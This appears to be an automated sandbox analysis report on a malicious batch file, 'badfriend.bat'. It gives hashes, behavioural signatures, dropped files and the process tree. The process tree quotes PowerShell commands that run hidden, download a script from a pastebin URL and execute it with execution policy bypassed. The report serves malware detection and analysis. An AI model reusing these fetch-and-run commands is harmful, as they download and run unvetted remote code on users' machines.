Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
24/04/2026, 20:02
Static task
static1
Behavioral task
behavioral1
Sample
badfriend.bat
Resource
win10v2004-20260130-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
badfriend.bat
Resource
win11-20260130-en
6 signatures
150 seconds
General
- Target badfriend.bat
- Size 923B
- Sample260424-ysbstsbt9n
- SHA256 6ee027a1b72a6c19af3141b036cd2f66eabba79e0f87c85ddbe98ead6d397a44
- MD5 6698309c1b2fa148f2bdc843731a5ff2
- SHA1 c6f852d445bb399d6458a53d2cf1e43398bc6921
- SHA512 526c6c5b37f589ecacffc9558f049845c0ff718b11e8fcf17fd3e2e1d673fa2e949d61f1eab430a997b5604ff220bc73ed2b79f5349bece5bd84f9e6e89554a1
- TLSH T16011043D0C366398017BD669C43C61A4D40551470B26F5513564C8357B71FEDDABA6CF
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 5624 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 5508 powershell.exe 5624 powershell.exe 5624 powershell.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 5 pastebin.com 6 pastebin.com - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 5624 powershell.exe 5624 powershell.exe 5508 powershell.exe 5508 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5624 powershell.exe Token: SeDebugPrivilege 5508 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4240 wrote to memory of 3784 4240 cmd.exe 85 PID 3784 wrote to memory of 5624 3784 cmd.exe 87 PID 3784 wrote to memory of 5508 3784 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4240 -
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\badfriend.bat" h2⤵
- Suspicious use of WriteProcessMemory
PID:3784 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://pastebin.com/raw/xni3yjBp' -OutFile 'temp_script.ps1'"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5624
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "temp_script.ps1"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5508
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d6b5f748cf0e7ada6f9bd7b0a183b4ceb9894cfb242c27677a39fc663f672db6
- MD5 554c456e9753fc0cbb7dd1a67a0c1aa2
- SHA1 9085b46dc17b14d644cc955f3b283ed5cce9b28a
- SHA512 d51a24c0a397f0da5083910f3cdde339ef73a521e7ca460d8cec48bee43697a0236167d73503e3ced983b1d93dd97c944005c12705b6bc917542b77eaabeeb9d
- TLSH T15E117637B39C8921CC96153A409DAC1172B683D781AEDF9FAFC4D215A0BF984CB712A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uhukhddc.2xs.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_script.ps1
- Size 90B
- SHA256 e122d389705846a485c4f818363a6903cdb2ff43a493b0606daa664c3fb0c1b0
- MD5 6ff02e1ac7d78c19a482b0b901cb7d20
- SHA1 d3364942e19e43a02ead0504dee646316cb453e9
- SHA512 06d42892e1bed67b1b52cfe54f3fc112969fea3e89fd81ba9c6ea80d0ad43265b3004f2d7413f32a2f2eff2da66ba3958bcd35fd5c73c03862185edb0eddf77c
- TLSH T11BB012B073BDC40C836040006D4B66C0581C4373110864005A848913EC215070330382
- MD5 SHA1 SHA512 TLSH